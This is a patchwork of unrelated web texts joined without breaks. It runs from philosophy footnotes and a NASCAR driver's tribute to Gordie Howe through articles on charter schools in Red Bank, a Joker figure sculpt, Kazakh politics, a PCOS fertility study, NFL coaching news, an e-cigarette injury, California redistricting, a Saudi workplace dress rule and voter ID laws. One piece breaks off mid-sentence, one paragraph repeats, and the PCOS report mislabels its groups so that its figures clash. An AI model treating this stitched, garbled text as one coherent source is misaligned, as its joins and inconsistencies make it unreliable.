[1] Cf. (Dillon 1997, pp. 35-57) [2] Cf. Preface, pp. lxxiii-lxxiv in (Merleau-Ponty 2014) [3] “The perceived world is the always presupposed foundation of all rationality, all value and all existence.” (Merleau-Ponty 1964, p. 13) [4] Cf. (Merleau-Ponty 2014, p. 93) [5] Cf. (Ibid., p. 94) [6] Cf. (Mulhall 1990, pp. 6-15) [7] Cf. (Wittgenstein 1953, pp. 194-196) [8] Cf. Introduction in (Merleau-Ponty 2014) [9] (Wittgenstein 1953, p. 203) [10] Cf. (Wittgenstein 1953, p. 206) [11] “By returning to the phenomena, we find, as a fundamental layer, a whole already pregnant with an irreducible sense” (Merleau-Ponty 2014, p.23) [12] “One will never understand, starting from that distinction, how a particular fact of the ‘objective' order (a particular cerebral lesion) could entail a particular disturbance of the relation with the world” (Merleau-Ponty 1968, The Visible and the Invisible, cited in Carman 2008, pp. 121-122) [13] Cf. (Merleau-Ponty 2014, p. 213) [14] Cf. Genova (1995), p. 2: “Indeed, even theoretical possibilities do not interest him; only chage itself. If the new picture frees one from a fly-bottle, take it and run – no questions asked.” [15] Cf. (Genova 1995, Introduction) [16] “(…) For if you look at them you will not see something that is common to all, but similarities, relationships, ad a whole series of them at that. To repeat: don't think, but look! (…)” (Wittgenstein 1953, p. 31)NASCAR Brad Keselowski
NASCAR Spring Cup Series driver Brad Keselowski speaks during a press conference at the International Speedway on June 10, 2016. (Taylor Irby | Mlive.com)
BROOKLYN, MI - NASCAR driver and Michigan native Brad Keselowski took time to talk about former Detroit Red Wing Gordie Howe, 88, who died Friday, before a press conference.
Howe retired in 1980, four years before Keselowski was born, but the driver said Howe was a pillar of the community years after he stopped playing hockey and left a "tremendous legacy."
"There's such a fan base admiration and it's almost 40 years since he's retired," Keselowski, a Rochester Hills native, said. "That really says something about someone."
Howe played 25 seasons for the Red Wings and was a 23-time NHL All-Star. He still has the most goals in Detroit Red Wings history, with 786.
"Just being a Detroit person in general, and of course I don't think you can grow up in this area and not be a hockey fan of the Red Wings and more," Keselowski said. "He had more than just the community, he had the respect of his entire sport, which is hard to do for anyone."
Keselowski said the loss is a big deal to his friends and family, many of which are at Michigan International Speedway this weekend to watch him race in Sunday's FireKeepers Casino 400.
"I know he lived really close to me when I was growing up," he said. "That's a guy who left a tremendous legacy on his sport. I'd like to say we're thinking about him and his family."Our new issue, on what a President Bernie Sanders could actually do in office, is out now. Subscribe today to receive it!
Big cities like Chicago, New York, and Atlanta get most of the headlines in the education reform wars. But smaller school districts experience equally fierce battles. And just like in the big ones, the assault on community-controlled public schools often comes in the form of charter schools. Charter schools are privately controlled schools funded by public dollars. They are often exempted from district regulations concerning everything from school admissions (unlike public schools, charters do not have to admit all neighborhood children) to teacher workload (most charters aren’t covered by union contracts). This lack of regulation has led to widespread corruption, as well as tremendous instability. A 2013 New York Times investigation found that while teachers in traditional public schools have an average of fourteen years of experience, “charter networks are developing what amounts to a youth cult in which teaching for two to five years is seen as acceptable and, at times, even desirable.” There’s also little data to support the claim that charters provide a better education than public schools. In fact, a 2013 study of charter schools nationwide by Stanford University’s Center for Research on Education Outcomes found that the majority of charters don’t offer any academic benefits over neighborhood public schools — regardless of the subject. In math, only 7 percent of charter schools were superior to a matched traditional public school, while 37 percent were inferior. In reading, 56 percent of charter schools offered no advantage, while 19 percent performed worse than neighborhood public schools. But the data hasn’t deterred charter school advocates, who continue to push for an “educational market.” Right now, in the town of Red Bank, New Jersey (population 12,200), parents, teachers, and students are fighting a charter school attack on their neighborhood schools.
The Battle of Red Bank The Red Bank Charter School, founded in 1997, recently petitioned the state to double its enrollment over the next three years, from 200 to 400 students. That may sound like small potatoes, but in a town with less than 1,500 public school students, such a shift of resources could have a seismic effect on the community’s neighborhood schools. Joan McLaughlin, a twenty-nine-year veteran teacher at Red Bank Primary School, believes the charter expansion and diversion of public dollars would have a huge impact on her students: “We’re going to lose programs that benefit children,” McLaughlin says. “We’re going to lose enrichment opportunities.” James Pierson, a lifelong resident of Red Bank who teaches seventh grade social studies in Red Bank community schools, agrees. He argues a larger charter school would have a “devastating effect, ” jeopardizing both academic programs and teachers’ jobs. Luigi Laugelli, principal of Red Bank Primary School, echoes these concerns: “Classes will get larger. We’ll have to cut the bulk of athletics, band, and chorus.... We’ll just be down to the core basics.” School resources aren’t the only thing charter schools siphon off from community schools. They also take students. In Red Bank, the charter’s presence has created one of the most segregated school districts in New Jersey. Red Bank Charter School’s student body is over 50 percent white, versus 7 percent for Red Bank Borough Public Schools. Ninety percent of public school students qualify for free or reduced lunch, whereas just 40 percent of charter school students do. Finally, 80 percent of Red Bank Public School students are Latino, compared to 34 percent at the charter school, and 44 percent of Red Bank community school students are learning English as a second language, compared to only 4 percent of charter school students. Such segregation is typical in communities that welcome charter schools. A 2015 report found that in North Carolina, introducing charter schools had become a de facto path to resegregation. As one of the report’s authors explained, “They appear pretty clearly to be a way for white students to get out of more racially integrated schools.” In addition to segregating schools by race, a 2011 study showed that charters stratify students by class and parental income, and that “a substantial share” may exclude English Language Learners. Laugelli has seen a similar trend in Red Bank, where parents have told him they avoid the public schools because they don’t think their children will be academically challenged in an environment where some students don’t speak English. Pierson says the proposed charter school expansion would “deepen the segregation of our schools and divide the community as a whole.” Because they skirt many of the rules governing public schools, charters can also avoid serving students with disabilities ranging from autism and attention deficit disorder to emotional disturbances. In one high-profile example, New York’s Success Academy charter school chain allegedly refused to provide federally mandated services for students with disabilities and pressured parents to transfer their children back into public schools. Public schools like Red Bank Primary, on the other hand, serve every student. At that school alone, Laugelli says, there are three self-contained classes for students with serious disabilities; Red Bank Charter is only equipped to educate students with “mild disabilities.” For many in the community, that’s not good enough. In reaction to the charter school’s expansion bid, parents and teachers have launched an organizing campaign. Jill Burden, who has two children in Red Bank public schools, told me an anti–charter school effort that began with just five parents has grown into an unprecedented show of solidarity. On January 13, hundreds of parents marched to a Borough Council meeting to protest the proposed expansion — and demand full funding for Red Bank public schools. Burden attributed some of the organizing success to the increased involvement of Red Bank’s Latino community. This hasn’t happened by accident — parents worked diligently to involve Red Bank’s Spanish-speaking population by translating organizing materials and providing translation services. While the Red Bank district suffered from a bad reputation decades ago, McLaughlin said, these days parents are “proud of their schools.” Laugelli agreed, noting that Red Bank Public Schools have become centers of community life: “We have events with easily one thousand people attending. We have a harvest festival, a winter ball, movie nights. We’re deeply engaged with the community.” The bulk of the charter school’s case for expansion rests not on community engagement, but on test scores, where charter students often outperform public school students. On the New Jersey State Assessment of Skills and Knowledge (NJASK), for example, 81 percent of Red Bank charter students scored proficient or better, compared with only 49 percent of Red Bank public school students. Such comparisons are misleading, however — the student body of Red Bank’s charter school is not representative of the city’s population.Hot Toys Joker DX11 – Laughing Sculpt
Sculpted By: Yulli Choi
Painted By: Jc.Hong
An instant classic, Heath Ledger’s performance in The Dark Knight is one for the ages. That being said, Hot Toy’s second take on the character was the DX11, which came with two sculpts; the neutral sculpt that has the PERS (Parallel Eyeball Rolling System) in it, and then the sculpt that really steals the show; the laughing sculpt. The sculptural quality of the head is superb; capturing natural wrinkles that occur when someone closes their eyes and laughs. His teeth and interior mouth also shine through the sculpt. The signature scars that adorn his face are also sculpted in while still maintaining the Heath Ledger likeness underneath the prosthetics applied for the film.
Also expertly applied is the paintwork on the sculpt. The skin-tone shines from underneath the running and patchy clown makeup in a way that is quite realistic. This Hot Toys DX11 sculpt is a masterpiece in its own right, and certainly deserves its spot on our list of ten of the best head sculpts of all time.Kazakhstan is a young state with a dual history: both Kazakh and Russian. The two histories are intertwined even if Astana may wish it weren’t so. And in recent years, as Russian revanchism spilled over its borders into both Georgia in 2008 and Ukraine in 2014, Kazakhstan has taken steps to define its own unique place as a state.
The recent trial and conviction of Yermek Narymbayev and Serikzhan Mambetalin, a pair of Kazakh activists, illustrated not only the arbitrariness of Kazakh justice but a facet of Astana’s drive to control messaging regarding the image of the state and its unity of thought. The two, after all, were sentenced to three and two years respectively for “inciting national discord” through Facebook posts. Mambetalin’s early release pending appeal and statement of repentance only underscore that conclusion.
Joanna Lillis, who has been following the trial from Almaty for Eurasianet, wrote in early January that the two activists were “active online dissenters, but wield little on-the-ground influence to rally crowds against the government…” (read the rest of her writing regarding the trial and fallout here and here). Small players or not, the trial and easy conviction certainly sends a powerful message to Kazakhs to keep quiet if they have criticisms of the state.
As reported by RFE/RL, Mambetalin’s release came along with a letter posted to Facebook “in which he wrote that he was ‘guilty and sorry for his mistakes,’ adding that he ‘committed the crime unintentionally.’” As Lillis noted, it was quite the change from the trial in which he plead not guilty, denounced the proceedings, and made a lively defense which cited the shuttering of opposition parties and media outlets as leaving Kazakhs with only the Internet to voice their opinions.
But the only opinions Astana is keen to hear are those praising the state and the president.
In unrelated news, though decidedly linked in the impression it makes, Kazakh police have reportedly detained a prominent, and pro-Russian, businessman in Shymkent over the weekend. Tokhtar Tuleshov has had his hands in a number of pies; Reuters says he is the chief executive of one of the country’s largest breweries and owns business assets in horses and watches. Reuters also reported that Tuleshov has run the Kazakh office for the Russia-based Center for the Analysis of Terrorist Threats, writing that “Its website catu.kz published anti-Western and pro-Russian articles, such as a piece alleging Islamic State militants were sending reinforcements to Ukrainian nationalists.”
On one hand, Astana wants to be understood as |
Clinic, polycystic ovary syndrome is a common endocrine disorder among women, and the most common cause of infertility. In a woman who has PCOS, levels of androgens, or male sex hormones like testosterone are higher than normal, causing an increase in male traits. For example, hormonal imbalances will often cause irregular menstrual periods due to lack of ovulation, weight gain, acne, excess hair on the face and body, or thinning hair on the head. The Department of Health and Human Services’ Office of Women’s Health estimates that five million women within the United States suffer from PCOS.
“The findings confirm what we long suspected — that exercise and a healthy diet can improve fertility in women who have PCOS,” said Dr. Richard S. Legro, professor of obstetrics and gynecology and public health sciences at Penn State University, in a recent press release. “Making preconception lifestyle changes is beneficial, either alone or in combination with other pretreatment options.”
Usually, women who have PCOS will take birth control to regulate levels of androgens in their body, as well as their menstrual cycle. Preexisting research has also shown that short-term birth control treatments can help increase a woman’s chances of pregnancy, despite PCOS.
For their study, the researchers examined the differences in pregnancy outcomes involving 149 women with PCOS between the ages of 18 and 40. Participants then underwent a course of birth control, lifestyle changes involving healthy diet and exercise or a combination of lifestyle changes and birth control over a four-month period. All participants were either overweight or obese, but did not have any other medical conditions. Once the intervention was over, all participants underwent four cycles of ovulation induced by the introduction of medication.
Out of the 49 women just taking birth control without lifestyle changes, five were able to give birth. Out of the total of 50 women who incorporated both exercise and healthy diet with birth control, 13 were able to give birth. Of those who underwent both interventions, a total of 50, 12 gave birth.
Overall, women who engaged in both lifestyle changes and courses of birth control were more likely to ovulate than women just given birth control. On top of this, researchers found that women who had a combination of interventions also had better insulin sensitivity and lower levels of triglycerides than women just on birth control.
"The research indicates preconception weight loss and exercise improve women's reproductive and metabolic health," Legro said. "In contrast, using oral contraceptives alone may worsen the metabolic profile without improving ovulation. Lifestyle change is an important part of any fertility treatment approach for women with PCOS who are overweight or obese."
Source: Legro R, Dodson W, Williams N, et al. Randomized controlled trial of preconception interventions in infertile women with polycystic ovary syndrome. Journal of Clinical Endocrinology & Metabolism. 2015.When former Buffalo Bills coach Doug Marrone opted out of his contract to coach the team Wednesday, he reportedly did not communicate the news to his players until several hours after his decision became public, according to Albert Breer of the NFL Network.
Doug Marrone informed Bills players last night of his decision -- after news broke -- via a mass text. Said to call if they needed anything. — Albert Breer (@AlbertBreer) January 1, 2015
• Report: Fitzgerald unsure about return to Cardinals
Bills owner Terry Pegula issued a statement on Wednesday afternoon saying Marrone had just informed him of his decision to opt out, and saying he was "disappointed" Marrone would no longer be with the team. Marrone did not tell his players about his decision until later that evening.
Marrone was targeted as a potential replacement for Rex Ryan in New York by Jets owner Woody Johnson six minutes after the news of Marrone opting out of his contract was broken, the New York Daily News reports, suggesting Marrone left Buffalo with the Jets job already lined up. Johnson told the Daily News he did not know of Marrone's availability "until later."
• Report: Rex Ryan interviewing with 49ers on Sunday
The Jets fired general manager John Idzik and Ryan on Monday after a 4-12 season.
The Bills just missed the playoffs and finished with a 9-7 record, the team's best win-loss mark since the 2004 season. Marrone went 15-17 with Buffalo over two seasons.
- Will GreenGoFundMe Cordero Caples, 29, was hospitalized in critical condition Friday after an electronic cigarette exploded in his face, his sister said.
A Tennessee man may not be able to walk again after an electronic cigarette exploded in his face on Friday.
Cordero Caples, 29, was hospitalized in critical condition after suffering fractured vertebrae, facial fractures and at least one missing tooth following the sudden explosion in Colorado, his sister said.
"It's going to be a long, intensive recovery process," Colossi Porter told Fox13 News.
Caples was smoking the e-cigarette while on a break from work when it blew up, WMC reported.
GoFundMe This is the e-cigarette that Caples was using when he was injured on Friday, his sister said.
Porter shared jarring photos of Caples on a GoFundMe page set up to raise money for his medical expenses. The images show his face visibly battered with his neck supported by a brace while recovering in a Colorado Springs hospital room.
It's unclear what caused the device to explode.
A Memphis smoke shop employee who was shown a photo of Caples' e-cigarette said she immediately noticed something wrong with it: the battery.
"This is way too powerful to power this," Mary Grace Burns of VaporWize told Fox13.
It's unclear what caused the device to explode.
A Memphis smoke shop employee who was shown a photo of Caples' e-cigarette said she immediately noticed something wrong with it: the battery.
"This is way too powerful to power this," Mary Grace Burns of VaporWize told Fox13.
"Way too hot of a battery. You can have a way-too-high amped battery in there or something like that could easily misfire and cause something like that. It's operator error though," she said.
Caples is studying to be a personal trainer and has a 1-year-old daughter, according to WMC.
"He’s really, really into fitness, and he’s really good at it. That’s what he was in school to do, but with an injury like this, it puts those things in question. I’m just hopeful he can make a speedy recovery and a full recovery," his sister told Fox13.
Caples began undergoing surgery on Sunday, according to WMC. His condition was upgraded to fair following the surgery, though Porter told the station that he's not in the clear yet.
"Any sudden move can cause him to be in a paralyzed state, and that is something we done want," she said. "He's going to need 24-hour care for a while and constant monitoring from family and friends and loved ones. You know it is heart breaking, but we're going to bond together.”
E-cigarette explosions are not uncommon, and have caused similar injuries in the past. Last year, video showed a British bartender's dress catching fire when her e-cigarette allegedly exploded. In 2012, a Florida man had a chunk of his tongue and some of his front teeth blasted away when one of the devices exploded in his mouth. A faulty battery was blamed for the explosion.
Also on HuffPost:The California Citizens Redistricting Commission is the redistricting commission for the state of California in the United States responsible for determining the boundaries of districts for the State Senate, State Assembly, and Board of Equalization. The Commission was created in 2010 and consists of 14 members: 5 Democrats, 5 Republicans, and 4 from neither major party. The Commission was created following the passage in November 2008 of California Proposition 11, the Voters First Act.[1] The commissioners were selected in November and December 2010 and were required to complete the new maps by August 15, 2011.[2]
Following the 2010 passage of California Proposition 20, the Voters First Act for Congress, the Commission was also assigned the responsibility of redrawing the state's U.S. congressional district boundaries following the congressional apportionment arising from the 2010 United States Census.
The Commission has been criticized by politicians because "many safe seats in the Legislature could suddenly become competitive."[3]
Results [ edit ]
The Commission certified new electoral district maps by the August 15, 2011 deadline with the required “supermajority” of a minimum of three Democrats, three Republicans, and three commissioners from neither major party, as stipulated by Article XXI sections 2(c) and 2(g) of the California Constitution. Maps for the state legislative districts passed with a 13-1 vote, and for Congressional districts with a 12-2 vote.[4]
In response to a series of legal challenges, the California Supreme Court ruled unanimously three times in favor of the Commission's maps, finding them in compliance with the U.S. Constitution and California Constitution.[5][6][7] In addition, the U.S. Department of Justice granted pre-clearance of the Commission's maps under Section 5 of the federal Voting Rights Act.[8] The new districts took effect for the June 5, 2012 primary.[9] Republican sponsors put a referendum on the Senate map on the November 6, 2012 ballot as Proposition 40, but have since reversed their position and are no longer opposing the new districts.[10][11]
While the long-term results will bear out over time, independent studies by the Public Policy Institute of California, the National Journal, and Ballotpedia have shown that California now has some of the most competitive districts in the nation, creating opportunities for new elected officials.[12][13][14] For example, the uncertainty caused by the new districts combined with California's "top two" primary system has resulted in half a dozen resignations of incumbent Congressional representatives on both sides of the aisle, a major shake-up of California's Capitol Hill delegation.[15][16] In addition, it has forced a number of intra-party races, most notably a showdown between two of the state's most powerful House Democrats, Representatives Howard Berman and Brad Sherman.[15][17][18] In the previous 10 years, incumbents were so safe that only one Congressional seat changed party control in 255 elections,[15] due to bi-partisan gerrymandering after the redistricting following the 2000 Census.[19][20][21] It is predicted that some of the newly elected politicians will be particularly well-suited for national politics since they will be forced to find positions that please moderate and independent voters to remain in office.
Commission selection process [ edit ]
In November 2008, California voters passed Proposition 11, authorizing a state redistricting commission.[1] The Bureau of State Audits (BSA) adopted regulations on 20 October 2009.[22] The Applicant Review Panel was randomly selected on 16 November 2009. The initial application period to apply to be on the commission began on 15 December 2009 and continued through 16 February 2010.[23] The BSA issued more regulations in 2010 dealing with how the first 8 commissioners would select the remaining 6.[24] The required supplemental application period began on 17 February 2010 and continued through 19 April 2010.[23] California Proposition 20 was passed in November 2010.[23]
The California State Auditor collected nearly 5,000 completed applications out of over 30,000[25] for the commission. A three-member panel of auditors reviewed the applications and conducted interviews to establish a pool of 20 Democrats, 20 Republicans, and 20 applicants from neither major party. The panel submitted the list of 60 of the most qualified applicants to the Legislature on September 29, 2010.[23]
The speaker of the California State Assembly, the president pro tempore of the California State Senate, and the minority party leaders in the Assembly and the Senate, as authorized by the law, jointly reduced the pools to 12 members in each pool. The Legislature submitted a list of applicants remaining in the pool on 12 November 2010.[23] The State Auditor then randomly drew three Democrats, three Republicans, and two applicants from neither major party to become commissioners on 18 November 2010.[23] Finally, these first eight commissioners selected six commissioners from the remaining applicants in the pools on 15 December 2010.[23][26]
Map-drawing process [ edit ]
The Voters First Act and Voters First Act for Congress amended Article XXI section 2(d)[27] of the California Constitution to establish a set of rank-ordered criteria that the Commission followed to create new districts:
Population Equality: Districts must comply with the U.S. Constitution's requirement of “one person, one vote” Federal Voting Rights Act: Districts must ensure an equal opportunity for minorities to elect a candidate of their choice Geographic Contiguity: All areas within a district must be connected to each other, except for the special case of islands Geographic Integrity: Districts shall minimize the division of cities, counties, local neighborhoods and communities of interests to the extent possible, without violating previous criteria. A community of interest is a contiguous population which shares common social and economic interests that should be included within a single district for purposes of its effective and fair representation. Geographic Compactness: To the extent practicable, and where this does not conflict with previous criteria, districts must not bypass nearby communities for more distant communities Nesting: To the extent practicable, and where this does not conflict with previous criteria, each Senate district will be composed of two whole Assembly districts, Board of Equalization districts will be composed of 10 Senate districts.
In addition, incumbents, political candidates or political parties cannot be considered when drawing districts. Article XXI section 2(b)[27] of the California Constitution also requires that the Commission "conduct an open and transparent process enabling full public consideration of and comment on the drawing of district lines."[27] As documented in its final report, the Commission engaged in an extensive public input process that included 34 hearings across the state where 2700 citizens and a diverse range of organized groups gave public testimony, including organizations such as the League of Women Voters, California Forward, Common Cause, the California Chamber of Commerce (CalChamber), Equality California, Mexican American Legal Defense and Educational Fund (MALDEF), the Asian Pacific American Legal Center, the National Association for the Advancement of Colored People (NAACP), the Silicon Valley Leadership Group, and the Sierra Club. Over 20,000 written public comments were submitted through the wedrawthelines.ca.gov website, via email or fax.[28]
Since the process was open, partisans were among those who attempted to influence the Commission during the public hearing process to ensure the resulting districts were drawn in their favor. In a much-cited article, the investigative journalism publisher ProPublica found evidence that the California Democratic Party leaders coordinated with community groups to testify in front of the Commission, and concluded that these efforts had manipulated the process.[29][30][31][32][33][34][35] While the California Republican Party was quick to call for an investigation, other political observers were less surprised and noted that similar Republican efforts during the hearing process were simply less effective.[36][37][38][39] In a response to the story, the Commission stated that it "had its eyes wide open" and that "the Commissioners were not unduly influenced by that."[40][41]
Membership [ edit ]
Daniel Claypool was the commission's executive director.[42] The commissioners are:[43]
Name Party Joined Left Gabino Aguirre Democrat December 15, 2010 present Angelo Ancheta Democrat February 10, 2011 present Vincent P. Barraba Republican December 6, 2010 present Maria Blanco Democrat December 15, 2010 present Cynthia Dai Democrat December 6, 2010 present Michelle R. DiGuilio Other (No Party Preference) December 15, 2010 present Stanley Forbes Other (Decline-To-State) December 6, 2010 present Elaine Kuo Democrat December 6, 2010 January 14, 2011 Connie Malloy Other (Decline-To-State) December 6, 2010 present Libert "Gil" R. Ontai Republican December 15, 2010 present M. Andre Parvenu Other (Decline-To-State) December 15, 2010 present Jeanne Raya Democrat December 6, 2010 present Michael Ward Republican December 15, 2010 present Jodie Filkins Webber Republican December 6, 2010 present Peter Yao Republican December 6, 2010 present
Restrictions on members [ edit ]
A commission member is ineligible for 10 years, beginning from the date of appointment, to hold elective public office at the federal, state, county, or city level in the State. A member is also ineligible for five years, beginning from the date of appointment, to hold appointive federal, state, or local public office, to serve as paid staff for, or as a paid consultant to, the Board of Equalization, the Congress, the Legislature, or any individual legislator, or to register as a federal, state or local lobbyist in the State.[44]
Constitutionality [ edit ]
Opponents alleged California Proposition 20 had unconstitutionally transferred the power to draw congressional district lines from the California State Legislature to the redistricting commission. They argued the federal constitution prohibited the people from bypassing the state legislature and using ballot initiatives to make laws governing federal elections. The federal constitution provides, "The Times, Places and Manner of holding Elections for Senators and Representatives, shall be prescribed in each State by the Legislature thereof." (emphasis added).
On June 29, 2015, the U.S. Supreme Court upheld the constitutionality of an Arizona ballot initiative giving redistricting power to the Arizona Independent Redistricting Commission.[45] Because the California and Arizona commissions were created in the same way and they had similar powers under state laws, it is widely understood that the ruling in the Arizona case has also implicitly upheld California Proposition 20 and the California Citizens Redistricting Commission.SR1,000 fine for female workers not covering head
Arab News
JEDDAH: Women workers will be fined SR1,000 if they are caught without their head cover in office under new labor laws introduced this week, a newspaper reported Monday.
Companies employing women must also enforce the law and issue written instructions in this regard or they could be fined SR5,000, Al-Hayat Arabic daily said.
“All companies must issue clear written instructions to their female workers to cover their head while in office. Erring companies will be fined SR5,000,” the report quoted a Labor Ministry official as saying.
It said the new law also set a fine of SR5,000 for companies which force their female employees to work at night. Firms failing to provide separate sections for their female employees will be fined SR10,000, it added.Polite Fascism Contracts The Right To Vote
They wear their robes but leave the hoods off, the polite justices of the Supreme Court. They write decisions then issue them in a formal setting, behind the columns of a capitol monument, with a history that confers a dignity not deserved. The Court embodies the dilemma of our modern culture. The most awful acts are committed with bland justification by polite people who hide behind institutional trappings; for the sake of the few, at the expense of the many.
When a vital right is denied to any group or class of citizens, the people suffer a great loss. They must endure mean spirited laws put forward as rational policy then contend with the dual reality of apparently legitimate institutions conducting blatantly illegitimate attacks on the people. Brutal bigots and snarling attack dogs have been replaced with somnolent justices affirming the outrages of smiling politicians and the bureaucrats who follow their orders. The net result is the quiet evisceration of our most important rights in a manner that puts the people into a light trance of continual acceptance.
The struggle for voting rights in the 1960's represents one of the finest periods in our nation's history. There was a rapid awakening to the decades of harsh reality endured by black citizens in the South. Most startling to the majority, unaware of this culture of injustice, was the near total absence of the right to vote for black citizens.
The issue of voting rights was and is fundamental to our political consciousness. The blatant violation of those rights, the effort to keep almost all black citizens from voting, created a national outrage. Unaffordable poll taxes just to vote, "literacy" tests arbitrarily administered to fail members of one race only, frequent intimidation at the polls, and the other flagrant indignities provided an immediate education to those who read, watched and listened. This generated broad support for voting rights legislation to expand the franchise to all citizens.
Most of those who had the rights were unable to tolerate the outrages they saw inflicted on their fellow citizens. Those who endured the violations laid down their bodies; risked and gave their lives. They would no longer tolerate the attack on their very existence as men and women of equal stature from those who abused them.
March on Washington for civil rights, 1963. PingNews.Com cc
The Voting Rights Act of 1965 passed with overwhelming majorities in the U.S. Senate and the House of Representatives. It was sponsored in the Senate by the Republican leader, and was implemented with a certainty and clarity that shocked the perpetrators of a fraudulent election system. Voting rights did not confer the benefits of social justice. However, those rights did move to correct a key systemic inequality of political participation.
We were awake as a nation for a brief period, unified in the demand for the right to vote. The struggle to expand the franchise has been ongoing throughout our history from white male property owners to all white males. For a period after the Civil War, both black and white males voted until white supremacy regained control in the old South. The women's suffrage movement was the last major expansion of the franchise before the great civil rights movement of the 1960's and beyond which demanded voting rights for blacks and then Latinos.
A new trend has emerged, one that takes the nation back to the post-Reconstruction period of the 1880's when black citizens lost their recently gained right to vote and participate in civic life.
Contracting the Vote
The April 28, 2008 decision upholding Indiana's photographic identification (photo ID) law by the Supreme Court of the United States is a major blow to voting rights.
Bush versus Gore dissenter, Justice John Paul Stevens, spoke for the majority. In Crawford et al. versus the Marion County Board of Elections et. al., the Court decided that Indiana's law was constitutional since it represents what may be a valid concern by the state, even though Stevens' acknowledged that Indiana presented no evidence of in-person “voter fraud”, the alleged “threat” that made the law necessary.
Justice Stevens and the majority failed to consider that the Indiana law was passed on a straight party-line vote with only Republican legislators supporting it and all Democrats opposing. Why was it a party line vote? Like many other voter identification laws, Indiana's version is clearly biased against potential Democratic voters and constituencies.
The Court majority was unimpressed by the fact that many voters won't have a photographic identification, according to a number of studies. The Court ignored a recent study showing Indiana's law will restrict the vote and that photo identification requirements are associated with 10% less turnout than is seen with less restrictive verifications.
Indiana's Voter Identification Law
The Court decision allows the Indiana law to stay in place. In order to vote, the law requires that registered voters present a current state or federal identification with a photograph that bears a name matching the voter's name on the registration records. Indiana is one of the seven states requiring photographic identification (photo ID). The other states are Florida, Georgia, Hawaii, Indiana, Louisiana, Michigan, and South Dakota.
Voters who show up in person without a photo ID are offered a provisional ballot. The voter must return to the election board by noon ten days after the election with proof of identification, i.e., photo ID. Failing that, the voter must sign an affidavit asserting that either he or she can't afford the identification or has a religious objection to being photographed. If there is no other challenge, the vote is counted. Sound complicated? How many would go through all these steps to cast a ballot? Why should anyone be required to do so?
You don't need a photo ID at if you vote by absentee-by-mail (11% of Indiana voters used absentee-by-mail or in-person in the 2008 Indiana presidential primary). In addition, if you’re confined to your home or a facility for medical reasons or if you have a disability and can’t get to your precinct, a member of the state “travel board” will bring you a ballot and take your vote. There is no requirement for photo ID in either of these instances.
The False Alarm of Voter Fraud Used to Restrict the Vote
Voter fraud refers to in-person voting by individuals unqualified to vote. The alleged phenomenon of "voter fraud' is the justification for restrictive voter identification laws like Indiana's. Voter identification laws specify the identification that voters present before they're allowed to cast a ballot. Supposedly, tight voter identification laws reduce voter fraud. Of course, if there is no voter fraud to speak of, there's no legitimate justification to risk the right to vote by restrictive identification laws.
Voter fraud differs from election fraud, which refers to the wholesale theft of elections through manipulation of voting and tabulating machines, gerrymandering (the distortions of districts to secure elections), and other methods of rigging an entire election.
The Bush Justice Department made a major effort to document an epidemic of voter fraud. The U.S. Attorneys had extensive training and intense encouragement to make cases. The failed results of this effort are well documented and apparent from the total convictions displayed in the chart below. The political manipulations behind this effort were one of the causes of the U.S. Attorney's scandal.
Does voter fraud happen at any degree of frequency? Are there hordes of unqualified voters who manage to vote illegally without detection?
From The Politics of Voter Fraud, L.C. Minnite (p. 9)
Federal statistics show hardly any voter fraud prosecutions by the Department of Justice.
Where's the epidemic of voter fraud or even a significant problem?
This evidence should be definitive. Only 38 cases of voter fraud were prosecuted from October 2002 through September 2005. Fourteen cases were dismissed and 24 resulted in guilty pleas or convictions.
There were 120 million voters casting ballots in the 2004 election. Add the total number of voters in all the other federal elections between October 2002 and September 2005. The total prosecutable cases of voter fraud that the U.S. Department of Justice could find consisted of 38 charged and 24 convicted. There is no epidemic of voter fraud.
It is imperative that we understand that the voter fraud epidemic is a pure fabrication and fantasy.
Since voter fraud barely exists, there is no rationale for tightening voter identification requirements. Given the real risk of reducing turnout there is every reason to avoid any additional laws that inhibit voters and voting. Yet twenty-five states have significant voter identification requirements, including seven that mandate official photo identification. The Court gave a green light to all states to create meaningless identification requirements if it serves the majority interests in state legislatures.
Photo ID's as an Effective Barrier to Voting
A statewide survey of 1,000 registered voters was conducted in Indiana in 2007 by the Institute for the Study of Ethnicity and Race, University of Washington. The study measured the impact of Indiana's new voter identification requirement, the law upheld by the Supreme Court. The highly pertinent results below show the clear bias of the law:
Data from Tables 1.1, 1.1.b, and 2.1 (pp. 18-19)
Six percent fewer black registered voters reported sufficient voter identification for Indiana elections. Of the general population, a pool for new voters, nearly 12% fewer black citizens have sufficient identification.
In addition, the Indiana study found that 21% of registered voters without a high school diploma lacked sufficient identification to vote while 11.5% with a college diploma lacked sufficient identification.
Most pertinent to the 2008 presidential election, the study confirmed the political bias of the Indiana voter identification law. The study concluded:
"Among registered voters with valid ID, 41.6% consider themselves Republican8 and 32.5% are Democrats. In contrast, among registered voters without proper ID, 34.8% are Republican and 38.0% are Democrats. Beyond the exclusion of certain demographic groups outlined above, this data suggests that a greater number of Democrats are excluded from voting under Indiana’s voter identification laws. (p. 12).
A major study on the impact of voter identification was conducted by scholars at Rutgers University and the Moritz School of Law, Ohio State University. The authors analyzed 2004 election data from around the country. Turnout in states with photo ID requirements was 58.1% compared with 64.2% in states that required voters to give their name as the main requirement (Rutgers, 2006). That's 10% lower turnout associated with a photo identification requirement.
Summary data from Rutgers Study (p. 6)
In 2004, turnout was 10% higher in states where voter identification
involved stating one's name than in states where a photo ID was required.
The researchers backed out states with photo ID requirements and found that Latino and black turnout was down disproportionately in states with another intensive identification requirement, signing an affidavit stating that you are the voter that you claim to be (Rutgers, p. 11).
A recent study on Georgia's voter identification law was conducted by scholars at the University of Georgia, Athens. They looked at the most common voter identification, a driver's license. Race and age (being black, being young) were associated with the absence of a driver's license. Blacks had a much higher probability than whites of lacking a driver's license. Registrants without drivers' licenses were 50% less likely to vote in a general election. Those without photo ID were significantly more likely to vote in Democratic rather than Republican primaries. These findings show the highly partisan impact of the requirement for photographic voter identification.
This evidence is clear. Voter ID laws have a negative effect on minorities and, it appears, younger and less educated voters as well. The requirement reduces turnout and, by doing so, it reduces the right of citizens to vote, all to prevent a non existent crime.
Partisan Evidence, Partisan Decision
In deciding for Marion County and the state of Indiana, the majority cited evidence from the federal Election Assistance Commission (EAC). The politically appointed commission administers the Help America Vote Act (HAVA). HAVA provides funding and sets standards for the nation's voting technologies, voter registration databases, and other election systems. The EAC actively sought to suppress then rewrite two reports it had commissioned that showed voter fraud to be insignificant and found voter intimidation at polling places to be a problem. The EAC has a troubled record and is a source highly biased in favor of the current administration.
